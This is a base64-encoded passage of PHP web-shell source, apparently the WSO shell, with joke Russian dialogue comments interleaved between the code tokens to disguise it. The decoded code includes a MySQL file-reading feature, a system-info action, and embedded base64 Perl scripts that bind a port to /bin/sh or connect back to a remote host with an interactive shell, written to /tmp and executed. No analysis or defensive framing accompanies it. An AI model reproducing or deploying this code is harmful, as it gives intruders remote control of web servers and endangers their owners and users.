QsNGB0YHQtdGC0YMsINC90LAg0LrQvtGC0L7RgNC+0Lkg0L3QsNC/0LjRgdCw0L3QviAn0JzQsNC70LXQvdGM0LrQuNC5INCt0LnQstC+0L0sINCw0L/RgNC10LvRjCDQstC+0YHQtdC80YzQtNC10YHRj9GCINGH0LXRgtCy0ZHRgNGC0L7Qs9C+Jy4gKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICc8dHI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVtIC8qIDxQZXRlcj46INCp0LDRgSDQv9C+0YHQvNC+0YLRgNGOLCDQvNC+0LbQtdGCINCz0LTQtS3RgtC+INC10YHRgtGMLi4uICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcyAvKiA8RGF2aWQgQmxhaW5lPjog0J/QvtGB0LzQvtGC0YDQuCDQsiDQvNCw0LPQvdC40YLQvtGE0L7QvdC1LCDQvtC90LAg0YLQsNC8LiAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGtleSAvKiA8QXZvbj46INCn0ZEt0YLQviDQvNC90LUg0LrQsNC6LdGC0L4g0YHRi9C60LDRgtC90L4uLi4gKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgID0+IC8qIDxQZXRlcj46INCd0YMg0Lgg0YfQviDRgtCw0LrQvtCz0L4sINC/0YDQvtGB0YLQviDQutCw0YHRgdC10YLQsCwg0YXQvtGD0Lwg0LLQuNC00LXQvi4uLiDQryDRgtCw0Lwg0LIg0YLQvtC8INCy0L7Qt9GA0LDRgdGC0LUg0LXRidGRINGB0LjRgdGM0LrRgyDRgdC+0YHRgy4g0JLQvtGCINGN0YLQvtGCINC60LDRgNCw0L/Rg9C3IC0g0Y8uICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdmFsdWUpIGVjaG8gLyogPEF2b24+OiDQkCDQstC+0YIg0Y3RgtC+INC80LDQvNCwINCt0LnQstC+0L3QsC4gKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnPHRoIHN0eWxlPSJ3aWR0aDogMTBweDsiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iY29sdW1uc1tdIiB2YWx1ZT0iJyAuICRrZXkgLiAnIiAvPjwvdGg+PHRoPicgLiAka2V5IC4gJzwvdGg+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc2V0KCRpdGVtKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aXRsZSA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIC8qIDxQZXRlcj46INCS0L7RgiDRjyDRgdC+0L/Qu9C4INC/0YPQt9GL0YDRj9C80Lgg0L3QsNC00YPQstCw0Y4sINC4INGH0L4/ICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnPC90cj48dHI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gcm91bmQoMCArIDIpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gLyogPEF2b24+OiDQldCz0L4g0LzQsNC80LAg0Lgg0YnQsNGBINGF0L7RgNC+0YjQviDQstGL0LPQu9GP0LTQuNGCLiAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJzx0ciBjbGFzcz0ibCcgLiAkbGluZSAuICciPic7CiAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gJGxpbmUgPT0gcm91bmQoMCArIDAuMzMzMzMzMzMzMzMzMzMgKyAwLjMzMzMzMzMzMzMzMzMzICsgMC4zMzMzMzMzMzMzMzMzMykgPyByb3VuZCgwICsgMikgOiByb3VuZCgwICsgMC41ICsgMC41KTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGl0ZW0gLyogPERhdmlkIEJsYWluZT46IDzQsiDQstC40LTQtdC+Oj4g0JLQvtGCINGB0YLQviDQtNC+0LvQu9Cw0YDQvtCyLiDQryDQtNC+0LvQttC10L0g0JLQsNGI0LXQvNGDINGB0YvQvdGDLiAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcyAvKiA8UGV0ZXI+OiDQpNCw0Log0LzQvtC5INC80L7RgdC6ISEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGtleSAvKiA8QXZvbj46INCt0YLQviDRh9GC0L4g0LLQvtC+0LHRidC1INC30LAg0YXRg9C50L3Rjz8hISEhICovCiAgICAgICAgICAgICAgICAgICAgICAgID0+IC8qIDxBdm9uPjog0KLQvtGCINC20LUg0YHQsNC80YvQuSDQuCDRgtCw0Lwg0Lgg0YLQsNC8ISEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZhbHVlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHZhbHVlIC8qIDxQZXRlcj46INCk0LDQuiDQvNC+0Lkg0LzQvtGB0LohISEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9PSAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0LzQvdC1INC90L7Qs9C4LCDRgtGD0YIg0LLQvtC+0LHRidC1INGH0ZEg0L/RgNC+0LjRgdGF0L7QtNC40YIt0YLQviwg0LA/ISEhICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbnVsbAogICAgICAgICAgICAgICAgICAgICAgICAgICAgKSBlY2hvIC8qIDxBdm9uPjog0JHQu9C40L0sINGPINC+0LHQvtGB0YHQsNC70YHRjyEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICc8dGQgY29sc3Bhbj0iMiI+PGk+bnVsbDwvaT48L3RkPic7IGVsc2UgLyogPFBldGVyPjog0IHQvNCw0L3QsNGA0L7Rgiwg0YHQtNGA0LjRgdC90Lgg0LLQvtC+0LHRidC1INC+0YLRgdGO0LTQsCwg0LTQtdC80L7QvSwg0LLQsNC70Lgg0L7RgtGB0Y7QtNCwINCyINC/0YDQvtGI0LvQvtC1INC40LvQuCDQsdGD0LTRg9GJ0LXQtSwg0Y8g0L3QtSDQt9C90LDRjiwg0ZHQvNCw0L3QsNGA0L7RgiEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gLyogPFBldGVyPjog0KHQtNGA0LjRgdC90Lgg0L7RgtGB0Y7QtNCwLCDQsCDRgtC+INGPINC80LXQvdGC0L7QsiDQstGL0LfQvtCy0YMsINC30LDRj9Cy0YMg0L3QsCDRgtC10LHRjyDQvdCw0LrQsNGC0LDRjiEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnPHRkIGNvbHNwYW49IjIiPicgLiBubDJicihodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSkpIC4gJzwvdGQ+JzsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIC8qIDxQZXRlcj46INCf0L7RiNGR0Lsg0L7RgtGB0Y7QtNCwLCDQs9C+0LLQvdGO0LohINCSINGA0L7RgiDQvNC90LUg0L3QvtCz0LghICovCiAgICAgICAgICAgICAgICAgICAgICAgICc8L3RyPic7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVjaG8gLyogPE9wZXJhdG9yPjog0JLQvtGCINGN0YLQviDQstC/0LXRh9Cw0YLQu9GP0Y7RidC1INCx0YvQu9C+Li4uICovCiAgICAgICAgICAgICAgICAgICAgJzwvdGFibGU+JzsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAvKiA8RGF2aWQgQmxhaW5lPjog0J/QvtC00L7QttC00LguLi4gKi8KICAgICAgICAgICAgICAgICAgICAgICAgJzxkaXY+PGI+RXJyb3I6PC9iPiAnIC4gaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpIC4gJzwvZGl2Pic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAvKiA8UGV0ZXI+OiDQntC9INC+0LHQvtGB0YHQsNC70YHRjyDQvtGA0LDQvdC2INGB0L7QtNC+0LkhICovCiAgICAgICAgICAgICI8YnI+PC9mb3JtPjxmb3JtIG9uc3VibWl0PSdkLnNmLnAxLnZhbHVlPVwicXVlcnlcIjtkLnNmLnAyLnZhbHVlPXRoaXMucXVlcnkudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHRleHRhcmVhIG5hbWU9J3F1ZXJ5JyBzdHlsZT0nd2lkdGg6MTAwJTtoZWlnaHQ6MTAwcHgnPiI7CiAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMSddICE9IC8qIDxQZXRlcj46INCSINGA0L7RgiDQvNC90LUg0L3QvtCz0LghISEgKi8KICAgICAgICAgICAgICAgICAgICAnbG9hZGZpbGUnKQogICAgICAgICAgICApIGVjaG8gLyogPD09PT09ZW5kIG9mIHBhcnQ9PT09PT4gKi8KICAgICAgICAgICAgaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10pOwogICAgICAgICAgICBlY2hvIC8qIDxEYXZpZCBCbGFpbmU+OiDQkNCz0LAsINCy0L7RgiDRjdGC0Lgg0YDQtdCx0Y/RgtCwLi4uICovCiAgICAgICAgICAgICI8L3RleHRhcmVhPjxici8+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFeGVjdXRlJz4iOwogICAgICAgICAgICBlY2hvIC8qIDxEYXZpZCBCbGFpbmU+OiDQrdC5LCDQv9Cw0YDQvdC4LCDRjyDQtNC10LvQsNGOINC+0YHQvtCx0YPRjiwg0YPQu9C40YfQvdGD0Y4g0LzQsNCz0LjRjiAqLwogICAgICAgICAgICAiPC90ZD48L3RyPiI7CiAgICAgICAgfQogICAgICAgIGVjaG8gLyogPEF2b24+OiDQndC10L3QtdC90LXQvdC10L3QtSEhICovCiAgICAgICAgIjwvdGFibGU+PC9mb3JtPjxici8+IjsKICAgICAgICBpZiAoJF9QT1NUWyd0eXBlJ10gPT0gJ215c3FsJykgewogICAgICAgICAgICAkZGItPnF1ZXJ5KCJTRUxFQ1QgMSBGUk9NIG15c3FsLnVzZXIgV0hFUkUgY29uY2F0KGB1c2VyYCwgJ0AnLCBgaG9zdGApID0gVVNFUigpIEFORCBgRmlsZV9wcml2YCA9ICd5JyIpOwogICAgICAgICAgICBpZiAoJGRiLT5mZXRjaCgpKSBlY2hvIC8qIDxEYXZpZCBCbGFpbmU+OiDQpdC+0YLQuNGC0LUg0L3QtdC80L3QvtCz0L4g0LLQvtC70YjQtdCx0YHRgtCy0LA/ICovCiAgICAgICAgICAgICI8Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1ZT1cImxvYWRmaWxlXCI7ZG9jdW1lbnQuc2YucDIudmFsdWU9dGhpcy5mLnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBmYWxzZTsnPjxzcGFuPkxvYWQgZmlsZTwvc3Bhbj4gPGlucHV0ICBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPiI7CiAgICAgICAgfQogICAgICAgIGlmIChAJF9QT1NUWydwMSddID09IC8qIDxQZXRlcj46INCX0L3QsNC10YjRjCwg0L3QtSDRhdC+0YLQuNC8ISAqLwogICAgICAgICAgICAnbG9hZGZpbGUnCiAgICAgICAgKSB7CiAgICAgICAgICAgICRmaWxlID0gJGRiLT5sb2FkRmlsZSgkX1BPU1RbJ3AyJ10pOwogICAgICAgICAgICBlY2hvIC8qIDxBdm9uPjog0J3QtdGCLCDQvdC10YIhINCi0LXQsdC1INC/0L4g0L7RgNC00LXRgNGDINC30LDQv9GA0LXRidC10L3QviDQv9C+0LTQutCw0YLRi9Cy0LDRgtGMINGB0LLQvtC4INC00LXQvNC+0L3RgdC60LjQtSDRj9C50YbQsCDQuiDQvdCw0LwhISAqLwogICAgICAgICAgICAgICAgJzxici8+PHByZSBjbGFzcz1tbDE+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJGZpbGVbJ2ZpbGUnXSkgLiAnPC9wcmU+JzsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gLyogPEF2b24+OiDQryDQt9Cy0L7QvdGOINC80LXQvdGC0LDQvCEgKi8KICAgICAgICBodG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSk7CiAgICB9CiAgICBlY2hvIC8qIDxQZXRlcj46INCf0YDQvtC00L7Qu9C20LDQuSDQv9GL0YDQuNGC0YzRgdGPISDQndGDLiDQndGDINC/0YvRgNGM0YHRjywg0L/Ri9GA0YzRgdGPINC90LAg0LzQtdC90Y8sINC/0YvRgNGM0YHRjywg0L/Ri9GA0YzRgdGPLiDQotGLINC2INC30L3QsNC10YjRjCwg0YfRgtC+INGN0YLQviDQvdC10LfQsNC60L7QvdC90L4hICovCiAgICAnPC9kaXY+JzsKICAgIHdzb0Zvb3RlcigpOwp9CgpmdW5jdGlvbiAvKiA8QXZvbj46IC4uLtGB0L/QsNGB0LjQsdC+LCDRgdC/0LDRgdC40LHQvi4uLiDQntC90Lgg0YPQttC1INCx0LvQuNC30LrQvi4g0KnQsNGBINC80LXQvdGC0Ysg0L/QvtC00YrQtdC00YPRgiwg0L/QvtC90Y/Quz8gKi8KYWN0aW9uTmV0d29yaygpCnsKICAgIHdzb0hlYWRlcigpOwogICAgJGJhY2tfY29ubmVjdF9wID0gIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNnbkwySnBiaTl6YUNBdGFTY3BPdzBLWTJ4dmMyVW9VMVJFU1U0cE93MEtZMnh2YzJVb1UxUkVUMVZVS1RzTkNtTnNiM05sS0ZOVVJFVlNVaWs3IjsKICAgICRiaW5kX3BvcnRfcCA9ICJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dleUJsZUdsMEtERXBPeUI5RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNSVUZOTEdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVlRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJNRjBzU1U1QlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZjblJjYmlJN0RRcHNhWE4wWlc0b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpkR1Z1SUhCdmNuUmNiaUk3RFFwM2FHbHNaU2d4S1NCN0RRb0pZV05qWlhCMEtFTlBUazRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2Y21zcEtTQjdEUW9KQ1dScFpTQWlRMkZ1Ym05MElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xrS1RzTkNna0piM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJajRtUTA5T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aU93MEtDUWxsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ2drSlkyeHZjMlVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOwogICAgZWNobyAvKiA8RGF2aWQgQmxhaW5lPjog0JLQvtGCINGC0YsuINCn0YLQviDRgyDRgtC10LHRjyDQt9CwINC80LDRiNC40L3QsD8gKi8KICAgICAgICAiPGgxPk5ldHdvcmsgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PVwiZyhudWxsLG51bGwsJ2JwcCcsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4+QmluZCBwb3J0IHRvIC9iaW4vc2ggW3BlcmxdPC9zcGFuPjxici8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSczMTMzNyc+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PVwiZyhudWxsLG51bGwsJ2JjcCcsdGhpcy5zZXJ2ZXIudmFsdWUsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4+QmFjay1jb25uZWN0ICBbcGVybF08L3NwYW4+PGJyLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBTZXJ2ZXI6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzZXJ2ZXInIHZhbHVlPSciIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAiJz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSczMTMzNyc+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT48YnI+IjsKICAgIGlmIChpc3NldCgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgZnVuY3Rpb24gLyogPFBldGVyPjog0KMg0LzQtdC90Y8/INCl0L7QvdC00LAg0YfRkdGA0L3QsNGPISAqLwogICAgICAgIGNmKCRmLCAkdCkKICAgICAgICB7CiAgICAgICAgICAgICR3ID0gQGZvcGVuKCRmLCAidyIpb3JAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpOwogICAgICAgICAgICBpZiAoJHcpIHsKICAgICAgICAgICAgICAgIEBmd3JpdGUoJHcsIEBiYXNlNjRfZGVjb2RlKCR0KSk7CiAgICAgICAgICAgICAgICBAZmNsb3NlKCR3KTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKCRfUE9TVFsncDEnXSA9PSAvKiA8RGF2aWQgQmxhaW5lPjog0JjQvdGC0LXRgNC10YHQvdC+LCDRhdC+0L3QtNCwLi4uINCi0LDQutCw0Y8g0LrQvtC80L/QsNC60YLQvdCw0Y8sINC00LA/ICovCiAgICAgICAgICAgICdicHAnCiAgICAgICAgKSB7CiAgICAgICAgICAgIGNmKCIvdG1wL2JwLnBsIiwgJGJpbmRfcG9ydF9wKTsKICAgICAgICAgICAgJG91dCA9IHdzb0V4KCJwZXJsIC90bXAvYnAucGwgIiAuICRfUE9TVFsncDInXSAuICIgMT4vZGV2L251bGwgMj4mMSAmIik7CiAgICAgICAgICAgIHNsZWVwKHJvdW5kKDAgKyAxKSk7CiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIgLiB3c29FeCgicHMgYXV4IHwgZ3JlcCBicC5wbCIpIC4gIjwvcHJlPiI7CiAgICAgICAgICAgIHVubGluaygiL3RtcC9icC5wbCIpOwogICAgICAgIH0KICAgICAgICBpZiAoJF9QT1NUWydwMSddID09IC8qIDxQZXRlcj46INCa0L7QvNC/0LDQutGC0L3QsNGPPyDQlNCwINGB0LDQvCDQv9C+0YHQvNC+0YLRgNC4IS4uINCk0LDQuiDQvNC+0Lkg0LzQvtC30LMhISDQk9C00LUg0LzQsNGI0LjQvdCwPyAqLwogICAgICAgICAgICAnYmNwJwogICAgICAgICkgewogICAgICAgICAgICBjZigiL3RtcC9iYy5wbCIsICRiYWNrX2Nvbm5lY3RfcCk7CiAgICAgICAgICAgICRvdXQgPSB3c29FeCgicGVybCAvdG1wL2JjLnBsICIgLiAkX1BPU1RbJ3AyJ10gLiAiICIgLiAkX1BPU1RbJ3AzJ10gLiAiIDE+L2Rldi9udWxsIDI+JjEgJiIpOwogICAgICAgICAgICBzbGVlcChyb3VuZCgwICsgMC41ICsgMC41KSk7CiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIgLiB3c29FeCgicHMgYXV4IHwgZ3JlcCBiYy5wbCIpIC4gIjwvcHJlPiI7CiAgICAgICAgICAgIHVubGluaygiL3RtcC9iYy5wbCIpOwogICAgICAgIH0KICAgIH0KICAgIGVjaG8gLyogPEF2b24+OiDQmCDQs9C00LUg0L7QvdCwPyAqLwogICAgJzwvZGl2Pic7CiAgICB3c29Gb290ZXIoKTsKfQoKZnVuY3Rpb24gLyogPFBldGVyPjog0KLRiyDRg9C60YDQsNC7INC80L7RjiDQvNCw0YjQuNC90YMsINGH0ZEg0YLRiyDRgdGC0YvRgNC40Lst0YLQviDQvNC+0Y4g0LzQsNGI0LjQvdGDPz8gKi8KYWN0aW9uUkMoKQp7CiAgICBpZiAoIUAkX1BPU1RbJ3AxJ10pIHsKICAgICAgICAkYSA9IGFycmF5KCJ1bmFtZSIgPT4gLyogPERhdmlkIEJsYWluZT46INCi0Ysg0YHQsNC8INCy0L3QuNC80LDRgtC10LvRjNC9INC/0L7RgdC80L7RgtGA0LguICovCiAgICAgICAgcGhwX3VuYW1lKCksICJwaHBfdmVyc2lvbiIgPT4gLyogPEF2b24+OiDQktC+0YIg0Y3RgtCwINC10LHQsNC70LDQudC60LAg0YfRgtC+INC70Lgg0YLQstC+0Y8g0LzQsNGI0LjQvdCwPyAqLwogICAgICAgIHBocHZlcnNpb24oKSwgIndzb192ZXJzaW9uIiA9PiAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0LzQvdC1INC90L7Qs9C4LCDRgtGLINGH0ZEsINGB0LrRg9C60L7QttC40Lsg0LzQvtGOINC80LDRiNC40L3Rgz8g0JTQsCDRgyDQvNC10L3RjyDRgtCw0Lwg0LLRgdGPINC+0LTQtdC20LTQsCDQvtGB0YLQsNC70LDRgdGMISDQotCw0Lwg0LTQttC40L3RgdGLINC80L7QuCDQu9C10LbQsNC70LghICovCiAgICAgICAgV1NPX1ZFUlNJT04sICJzYWZlbW9kZSIgPT4gQGluaV9nZXQoJ3NhZmVfbW9kZScpKTsKICAgICAgICBlY2hvIC8qIDxBdm9uPjog0J3RgyDRgtGL0LfQtNC10YYuINCt0YLQviDQtiDQvNC+0Y8g0LvRjtCx0LjQvNCw0Y8g0LrQtdC/0LrQsCEg0JHQsNGA0LHQuC3RgdCw0LnQtyDQutCw0LrQvtC5LdGC0L4sINC60YPQ